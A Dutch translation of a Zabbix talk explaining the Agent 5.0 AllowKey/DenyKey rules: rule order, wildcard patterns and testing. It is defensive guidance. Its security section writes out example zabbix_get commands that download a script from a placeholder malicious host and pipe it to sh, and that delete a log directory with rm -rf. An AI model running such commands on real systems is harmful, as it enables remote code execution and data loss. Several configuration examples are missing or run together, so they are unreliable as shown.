
Ondersteuning voor zwarte en witte lijsten voor metrics aan de agentzijde
Tikhon Uskov, Integratie-ingenieur, Zabbix
Beveiligingsproblemen met gegevens
Met Zabbix 5.0 is er een nieuwe functie toegevoegd die de beveiliging in systemen met Zabbix Agent verbetert en de oude parameter vervangt EnableRemoteCommands.
De verbetering van de beveiliging van systemen die de agent gebruiken, is te wijten aan het feit dat de agent een groot aantal potentieel gevaarlijke acties kan uitvoeren.
- De agent kan vrijwel elke informatie verzamelen, inclusief vertrouwelijke of potentieel gevaarlijke gegevens, uit configuratiebestanden, logbestanden, wachtwoordbestanden of andere bestanden.
Bijvoorbeeld, met behulp van de zabbix_get-tool kan toegang worden verkregen tot de gebruikerslijst, hun thuismappen, wachtwoordbestanden, enz.

Toegang tot gegevens met de zabbix_get-tool
OPMERKING. Gegevens kunnen alleen worden verkregen als de agent leesrechten heeft voor het betreffende bestand. Maar bijvoorbeeld, het bestand /etc/passwd/ is toegankelijk voor alle gebruikers.
- De agent kan ook potentieel gevaarlijke opdrachten uitvoeren. Bijvoorbeeld, de sleutel *system.run[]** stelt je in staat om op afstand opdrachten uit te voeren op netwerknodes, inclusief het starten van scripts vanuit de Zabbix-webinterface, die ook opdrachten aan de agentzijde uitvoeren.
# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]
# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]- Op Linux wordt de agent standaard zonder root-rechten uitgevoerd, terwijl hij op Windows als service onder de naam System draait en onbeperkte toegang tot het bestandssysteem heeft. Dienovereenkomstig, als er na de installatie geen wijzigingen in de Zabbix Agent-instellingen zijn aangebracht, heeft de agent toegang tot het register, het bestandssysteem en kan hij WMI-query's uitvoeren.
In eerdere versies stond de parameter EnableRemoteCommands=0 alleen het uitschakelen van metrics met sleutel *system.run[]** en het uitvoeren van scripts vanuit de webinterface toe, maar het was niet mogelijk om de toegang tot afzonderlijke bestanden te beperken, specifieke sleutels toe te staan of te weigeren die samen met de agent werden geïnstalleerd, of het gebruik van bepaalde parameters te beperken.

Gebruik van de parameter EnableRemoteCommand in eerdere versies van Zabbix
AllowKey/DenyKey
Zabbix 5.0 helpt zich te beschermen tegen ongeautoriseerde toegang door middel van witte en zwarte lijsten voor het toestaan en verbieden van metrics aan de agentzijde.
In Zabbix 5.0 zijn alle sleutels, inclusief *system.run[]**, toegestaan, en er zijn twee nieuwe configuratieparameters voor de agent toegevoegd:
AllowKey= — toegestane controles;
DenyKey= — verboden controles;
waar — het patroon van de sleutelnaam met parameters, waarin metatekens (*) worden gebruikt.
De Sleutels AllowKey en DenyKey maken het mogelijk om afzonderlijke metrics op basis van een bepaald patroon toe te staan of te verbieden. In tegenstelling tot andere configuratieparameters is het aantal parameters voor AllowKey/DenyKey niet beperkt. Dit maakt het mogelijk om duidelijk te definiëren wat het agentschap in het systeem kan doen door een boom van controles - uitgevoerde sleutels te creëren, waar de volgorde van groot belang is.
Volgorde van regels
Regels worden gecontroleerd in de volgorde waarin ze in het configuratiebestand zijn opgenomen. De controle van de sleutel op de regels gebeurt tot de eerste overeenkomst, en zodra de sleutel van het gegevenselement overeenkomt met het patroon, wordt deze toegestaan of verboden. Daarna wordt de controle van de regels stopgezet en worden de overige sleutels genegeerd.
Dus als een element zowel aan een toestemmingsregel als een verbodregel voldoet, hangt het resultaat af van welke regel als eerste in het configuratiebestand staat.

2 verschillende regels met hetzelfde patroon en sleutel vfs.file.size[/tmp/file]
Volgorde van gebruik van de sleutels AllowKey/DenyKey:
- nauwkeurige regels,
- algemene regels,
- verbodregel.
Bijvoorbeeld, als u toegang tot bestanden in een bepaalde map nodig heeft, moet u eerst toegang tot deze bestanden toestaan, en daarna alles verbieden wat niet onder de vastgestelde toestemmingen valt. Als eerst een verbodregel wordt gebruikt, wordt de toegang tot de map verboden.

Juiste volgorde
Als het nodig is om 2 hulpprogramma's via * toe te staansystem.run[]**, en als eerst een verbodregel wordt aangegeven, zullen de hulpprogramma's niet worden uitgevoerd, omdat het eerste patroon altijd overeenkomt met elke sleutel en de volgende regels worden genegeerd.

Onjuiste volgorde
Patronen
Belangrijke regels
Een patroon is een expressie met wildcardtekens. Het metateken (*) komt overeen met een willekeurig aantal symbolen op een bepaalde positie. Metatekens kunnen zowel in de sleutelnaam als in de parameters worden gebruikt. Bijvoorbeeld, de eerste parameter kan expliciet worden gedefinieerd door tekst, en de daaropvolgende kan als wildcard worden opgegeven.
Parameters moeten tussen vierkante haken [] staan.
system.run[*— onjuistvfs.file*.txt]— onjuistvfs.file.*[*]— juist
Voorbeelden van het gebruik van wildcard.
- In de sleutelnaam en in de parameter. In dit geval komt de sleutel niet overeen met een soortgelijke sleutel die geen parameters bevat, aangezien we in het patroon hebben aangegeven dat we een bepaald einde van de sleutelnaam en een set parameters willen ontvangen.
- Als er in het patroon geen vierkante haakjes worden gebruikt, staat het patroon alle sleutels toe die geen parameters bevatten en verbiedt het alle sleutels met de opgegeven parameter.
- Als de sleutel volledig is geschreven en de parameters als wildcard zijn opgegeven, zal deze overeenkomen met elke soortgelijke sleutel met willekeurige parameters en niet met een sleutel zonder vierkante haakjes, dat wil zeggen dat het is toegestaan of verboden.

Regels voor het invullen van parameters.
- Als het gebruik van een sleutel met parameters wordt bedoeld, moeten de parameters worden opgegeven in het configuratiebestand. De parameters moeten worden aangegeven als een meta-teken. Het is noodzakelijk om voorzichtig toegang tot enig bestand te verbieden en rekening te houden met welke informatie de metriek kan teruggeven bij verschillende schrijfvarianten - met parameters en zonder.

Eigenschappen van het schrijven van sleutels met parameters.
- Als de sleutel met parameters is opgegeven, maar de parameters optioneel zijn en als meta-teken zijn opgegeven, wordt de sleutel zonder parameters toegestaan. Bijvoorbeeld, als je wilt verbieden dat informatie over de CPU-belasting wordt verkregen en je geeft aan dat de sleutel system.cpu.load[*] moet worden verboden, vergeet dan niet dat de sleutel zonder parameters de gemiddelde belasting teruggeeft.

Regels voor het invullen van parameters.
Opmerkingen
Instellingen
- Sommige regels kunnen niet door de gebruiker worden gewijzigd, bijvoorbeeld detectie- (discovery) of zelfregistratieregels. De regels AllowKey/DenyKey hebben geen invloed op de volgende parameters:
— HostnameItem
— HostMetadataItem
— HostInterfaceItem
OPMERKING. Als de administrator een bepaalde sleutel verbiedt, geeft Zabbix bij de aanvraag geen informatie over waarom de metriek of sleutel in de categorie ‘NOTSUPPORTED‘ valt. In de logbestanden van de agent wordt ook geen informatie over verbod op het uitvoeren van externe opdrachten weergegeven. Dit is gedaan vanuit beveiligingsoverwegingen, maar kan het debuggen bemoeilijken als metriken om een of andere reden in een niet-ondersteunde categorie vallen..
- Je moet niet rekenen op een specifieke volgorde van het aansluiten van externe configuratiebestanden (bijvoorbeeld in alfabetische volgorde).
Opdrachtregelhulpmiddelen
Na het instellen van de regels moet je ervoor zorgen dat alles correct is ingesteld.
Je kunt kiezen uit een van de drie opties:
- Voeg de metriek toe aan Zabbix.
- Test het met behulp van zabbix_agentd. Zabbix agent met de optie -print (-p) toont alle sleutels (die standaard zijn toegestaan), behalve diegene die door de configuratie zijn verboden. Met de optie -test (-t) voor de verboden sleutel zal het ‘Unsupported item key‘.
- Test het met behulp van zabbix_get. Hulpprogramma zabbix_get met de optie -k zullen het ‘ZBX_NOTSUPPORTED: Unknown metric‘.
Toestaan of blokkeren
Je kunt de toegang tot het bestand blokkeren en bijvoorbeeld controleren met de hulpprogramma zabbix_get, of de toegang tot het bestand daadwerkelijk is geblokkeerd.

**
OPMERKING. Aanhalingstekens in de parameter worden genegeerd..
Toegang tot een dergelijk bestand kan echter op een andere manier zijn toegestaan. Bijvoorbeeld, als het wordt verwezen door een symlink.

Het is aan te raden om verschillende toepassingen van de ingestelde regels te controleren en rekening te houden met mogelijkheden om blokkades te omzeilen.
Vragen en antwoorden
Vraag. Waarom is er gekozen voor een zo complex patroon schema met zijn eigen taal voor de beschrijving van regels, toestemmingen en blokkades? Waarom was het niet mogelijk om bijvoorbeeld reguliere expressies te gebruiken, zoals Zabbix doet?
Antwoord. Dit is een vraag van regex-prestaties, aangezien de agent meestal één is en een enorm aantal metriek controleert. Regex is een vrij zware operatie en we kunnen niet duizenden metriek op deze manier controleren. Wildcards zijn een universele, breed toepasbare en eenvoudige oplossing..
Vraag. Worden de Include-bestanden niet in alfabetische volgorde geladen?
Antwoord. Voor zover ik weet, is het praktisch onmogelijk om de volgorde van toepassing van regels te voorspellen als je de regels in verschillende bestanden verspreidt. Ik adviseer om alle AllowKey/DenyKey-regels in één Include-bestand te verzamelen, omdat ze met elkaar communiceren, en dat bestand in te laden..
Vraag. In Zabbix 5.0 ontbreekt de optie ‘EnableRemoteCommands=‘ in het configuratiebestand, en zijn alleen AllowKey/DenyKey beschikbaar?
Antwoord. Ja, dat klopt..
Bedankt voor uw aandacht!
Bron: habr.com
